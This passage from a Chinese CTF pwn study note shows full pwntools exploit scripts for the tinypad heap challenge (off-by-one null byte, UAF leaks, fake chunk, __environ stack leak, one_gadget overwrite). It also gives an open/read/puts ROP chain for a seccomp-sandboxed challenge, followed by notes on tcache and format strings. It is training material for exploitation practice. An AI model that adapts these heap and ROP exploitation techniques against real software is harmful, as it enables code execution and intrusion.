    if ( !v6 || *(a1 + i) == v4 )
      break;
  }
  *(a1 + i) = 0;     //null byte off-by-one
  if ( i == a2 && *(a2 - 1 + a1) != 10 )
    dummyinput(v4);
  return i;
}

综上可以得到程序的两个漏洞:一个是off-by-one漏洞,还有一个时delete的时候未清空content_ptr指针造成的UAF漏洞,每次执行完操作之后就会输出。

首先要泄露libc基地址,所以要看能够打印的函数,也就是edit部分。

edit会将content的内容复制到tinypad->buf处,输出,然后在buf上读入与原内容长度相同的字符,确认之后才保存到堆上。

再次复习unsortedbin与libc_base的关系:

libc_base
.
.
.
main_arena
.
.
(0x58)
unsortedbin

获取libc_base和heap_base的代码:

#encoding='utf8'
from pwn import*

sh = process('./tinypad')
libc = ELF('/home/countrymagazine/PY2Env/glibc-all-in-one-master/libs/2.23-0ubuntu3_amd64/libc-2.23.so')
context.log_level = 'debug'
context.terminal=['gnome-terminal','-x','sh','-c']

def add(size,content):
    sh.sendlineafter("(CMD)>>>",'A')
    sh.sendlineafter("(SIZE)>>>",str(size))
    sh.sendlineafter("(CONTENT)>>>",content)

def delete(index):
    sh.sendlineafter('(CMD)>>>','D')
    sh.sendlineafter('(INDEX)>>>',str(index))

def edit(index,content):
    sh.sendlineafter('(CMD)>>>','E')
    sh.sendlineafter('(INDEX)>>>',str(index))
    sh.sendlineafter("(CONTENT)>>>",content)
    sh.sendlineafter("(Y/n)>>>",'Y')

def leak_heap_libc():
    global heap_base,libc_base

    add(0xe0,'A'*0x10)
    add(0xf0,'A'*0xa0)    #保证chunk2的size为0x100,这里注意写入chunk2的content,至少要保证大于fake chunk
    add(0x100,'A'*0x10)
    add(0x100,'A'*0x10)

    delete(3)
    delete(1)
    gdb.attach(sh) 
    sh.recvuntil("INDEX: 1\n # CONTENT: ")
    heap_base = u64(sh.recvn(4).ljust(8,"\x00")) - (0x100+0xf0)
    log.info("heap_base: 0x%x" % heap_base )
    
    io.recvuntil("INDEX: 3\n # CONTENT: ")
    libc_base = u64(sh.recvn(6).ljust(8,"\x00"))-(0x3c3b20+0x58)
    log.info("libc_base: 0x%x" % libc_base)

leak_heap_libc()

接下来释放chunk4,此时top chunk被移动到chunk2后面,然后分配一个大小合适的chunk,将chunk1从unsorted bin中取出,利用null byte溢出清空chunk2的prev_inuse位,同时计算得到chunk2与tinypad之间的偏移并赋值给chunk2的prev_size域。

通过Edit chunk2,在tinypad的buf上伪造一个fake chunk;

释放chunk2,触发fake chunk、chunk2和top chunk合并,此时top chunk转移到tinypad;

**以上便是该用法的一个经典应用,使得top chunk转移到栈上**

没有开启PIE,所以tinypad的地址可以使用。

代码:

def null_byte():
    delete(4)
    payload = 'A'*0xe0 + (heap_base+0xf0-0x602040)
    add(0xe8,payload)

    content = p64(0x100) #prev_size
    content += p64(heap_base+0xf0-0x602040) #size
    content += p64(0x602040)*4 #fd、bk
    edit(2,content)


    delete(2)

这里在bss段伪造了一个fake chunk,值得注意的是,fake chunk需要注意构造fd、bk的值,为了绕过unlink的检查,这里将其都填写为tinypad。

接下来要在上述段申请堆块,因为程序增删改都是通过size部分判断的,所以只要将size修改成相应的大小就能获取读写权限。

由于程序开启了FULL RELRO,无法通过修改GOT表调用one-gadget,所以这里采用修改函数返回地址的方式。__environ全局变量保存了一个指向栈的地址,通过泄露该地址即可计算得到main()函数的返回地址。

def leak_stack():
    global stack_addr

    environ_addr = libc_base + libc.symbols["__environ"]

    payload = p64(0xe8) + p64(environ_addr)
    payload += p64(0xe8) + p64(0x602040+0x108) #index1的content位置
    add(0xe0,"A"*0xe0)
    add(0xe0,payload)

    sh.recvuntil("INDEX: 1\n # CONTENT: ")
    stack_addr = u64(sh.recvn(6).ljust(8,"\x00"))
    log.info("environ address: 0x%x"% environ_addr)
    log.info("stack address: 0x%x"% stack_addr)

def pwn():
    one_gadget = libc_base + 0x45206
    gdb.attach(sh)
    edit(2,p64(stack_addr - 0xf0))
    edit(1,p64(one_gadget))

    sh.sendlineafter("(CMD)>>> ","Q")
    sh.interactive()

__environ指向的全局变量也在main函数中,所以目的是要找到与返回地址的偏移:

pwndbg> disass main
#在main函数的返回地址处设下断点
pwndbg> b * 0x0000000000400e68
Breakpoint 1 at 0x400e68
pwndbg> c
#继续执行
───────────────────────────────────[ STACK ]────────────────────────────────────
00:0000│ rsp  0x7ffc5dad13b8 —▸ 0x7fd7943fe206 (do_system+1014) ◂— lea    rsi, [rip + 0x380353]
01:0008│      0x7ffc5dad13c0 ◂— 0x1
02:0010│      0x7ffc5dad13c8 —▸ 0x7ffc5dad1498 —▸ 0x7ffc5dad273e ◂— './tinypad'
03:0018│      0x7ffc5dad13d0 ◂— 0x1949a7ca0
04:0020│      0x7ffc5dad13d8 —▸ 0x400863 (main) ◂— push   rbp
05:0028│      0x7ffc5dad13e0 ◂— 0x0
06:0030│      0x7ffc5dad13e8 ◂— 0xc176c219a702a563
07:0038│      0x7ffc5dad13f0 —▸ 0x4006e0 (_start) ◂— xor    ebp, ebp
#找到了返回地址--rsp
#与计算出来的stack_addr相减,得到0xf0

完整代码:

#encoding=utf8
from pwn import*

sh = process('./tinypad')
libc = ELF('/home/countrymagazine/PY2Env/glibc-all-in-one-master/libs/2.23-0ubuntu3_amd64/libc-2.23.so')
context.log_level = 'debug'
context.terminal=['gnome-terminal','-x','sh','-c']

def add(size,content):
    sh.sendlineafter("(CMD)>>> ",'A')
    sh.sendlineafter("(SIZE)>>> ",str(size))
    sh.sendlineafter("(CONTENT)>>> ",content)

def delete(index):
    sh.sendlineafter('(CMD)>>> ','D')
    sh.sendlineafter('(INDEX)>>> ',str(index))

def edit(index,content):
    sh.sendlineafter('(CMD)>>> ','E')
    sh.sendlineafter('(INDEX)>>> ',str(index))
    sh.sendlineafter("(CONTENT)>>> ",content)
    sh.sendlineafter("(Y/n)>>> ",'Y')

def leak_heap_libc():
    global heap_base,libc_base

    add(0xe0,'A'*0x10)
    add(0xf0,'A'*0xa0)    #保证chunk2的size为0x100
    add(0x100,'A'*0x10)
    add(0x100,'A'*0x10)

    delete(3)
    delete(1)

    sh.recvuntil("INDEX: 1\n # CONTENT: ")
    heap_base = u64(sh.recvn(4).ljust(8,"\x00")) - (0x100+0xf0)
    log.info("heap_base: 0x%x" % heap_base )
    
    sh.recvuntil("INDEX: 3\n # CONTENT: ")
    libc_base = u64(sh.recvn(6).ljust(8,"\x00"))-(0x3c3b20+0x58)
    log.info("libc_base: 0x%x" % libc_base)

def null_byte():
    delete(4)
    payload = 'A'*0xe0 + p64(heap_base+0xf0-0x602040)
    add(0xe8,payload)

    content = p64(0x100) #prev_size
    content += p64(heap_base+0xf0-0x602040) #size
    content += p64(0x602040)*4 #fd、bk
    edit(2,content)


    delete(2)

def leak_stack():
    global stack_addr

    environ_addr = libc_base + libc.symbols["__environ"]

    payload = p64(0xe8) + p64(environ_addr)
    payload += p64(0xe8) + p64(0x602040+0x108) #index1的content位置
    add(0xe0,"A"*0xe0)
    add(0xe0,payload)

    sh.recvuntil("INDEX: 1\n # CONTENT: ")
    stack_addr = u64(sh.recvn(6).ljust(8,"\x00"))
    log.info("environ address: 0x%x"% environ_addr)
    log.info("stack address: 0x%x"% stack_addr)

def pwn():
    one_gadget = libc_base + 0x45206
    edit(2,p64(stack_addr - 0xf0))
    edit(1,p64(one_gadget))

    sh.sendlineafter("(CMD)>>> ","Q")
    sh.interactive()

leak_heap_libc()
null_byte()
leak_stack()
pwn()

成功getshell。

之前感觉用常规解法好像也能解,但是仔细思考之后感觉还是行不通。首先,如果要使用null poison byte的话,至少需要申请5个chunk,数量明显不够;那要覆盖chunk2再通过fast bin劫持malloc_hook的话有一个点无法实现:就是溢出点只存在于申请函数中,而且chunk3溢出后不能与chunk1的状态有冲突,而现有的条件无法改变改冲突条件。

house of force

top chunk分配的步骤:top chunk_addr + malloc_size,从而缩小top chunk的地址。

Use After Free

绿城杯:GreentownNote

**其中该沙箱禁用了execve调用,这样一来one_gadget和system调用都不好使,只能采取open/read/write的组合方式来读取flag**

开启沙盒的两种方式:第一种是采用prctl函数调用,第二种是使用seccomp库函数

使用seccomp-tools识别沙盒:

seccomp-tools dump ./pwn

利用了UAF漏洞泄露基地址后,再次利用environ泄露栈地址,再根据调试偏移得到add函数的返回地址与栈地址的偏移,然后利用tcache的double free修改add的返回地址为orw,这里是利用了一块可用的存储空间,利用open开辟、read函数读取存到相应空间,接着利用puts函数输出结果,因为使用一整条rop链进行的,所以在最后写入flag字符串,计算出flag的偏移:

#open(0,flag_addr)
rop = p64(pop_rdi) + p64(flag_addr) + p64(pop_rsi) +p64(0) +  p64(openat_addr)
#read(fd,flag_addr,0x30)
rop += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(flag_addr) + p64(pop_rdx) + p64(0x30) + p64(read_addr)
#puts(flag_addr)
rop += p64(pop_rdi) + p64(flag_addr) + p64(puts_addr) + b"flag\x00"
create
cat:   dog:
index
name
age
tcache

重点结构:

typedef struct tcache_perthread_struct
{
  char counts[TCACHE_MAX_BINS];//数组长度64,每个元素最大为0x7,仅占用一个字节(对应64个tcache链表)
  tcache_entry *entries[TCACHE_MAX_BINS];//entries指针数组(对应64个tcache链表,cache bin中最大为0x400字节
  //每一个指针指向的是对应tcache_entry结构体的地址。
} tcache_perthread_struct;

其位于堆开头的位置,本身也是一个堆块,大小为0x250。其中包含数组entries,用于存放64个bins的地址,数组counts则存放每个bins中的chunk数量。也就是说分配的chunk地址是由这个结构体决定的,由这个结构体将fd指针赋给相应的chunk。

三、格式化字符串

常见的转换指示符和长度:

指示符 类型 输出

%d 4-byte Integer

%u 4-byte Unsigned Integer

%x 4-byte Hex

%s 4-byte ptr String

%c 1-byte Character

长度 类型 输出

hh 1-byte char

h 2-byte short int

l 4-byte long int

ll 8-byte long long int

%d 用于读取10进制数值

%x 用于读取16进制数值

%s 用于读取字符串值

%n 用于将当前字符串的长度打印到var中,例 printf(”test %hn”,&var[其中var为两个字节]) printf(”test %n”,&var[其中var为一个字节])

eg:

printf(“%12c”,’A), 输出为11个空白字符和一个A。这里12的意思是输出字符的个数。

print(“%2$c”,’A’,’B’),输出为B。这里2的意思是输出第二个字符。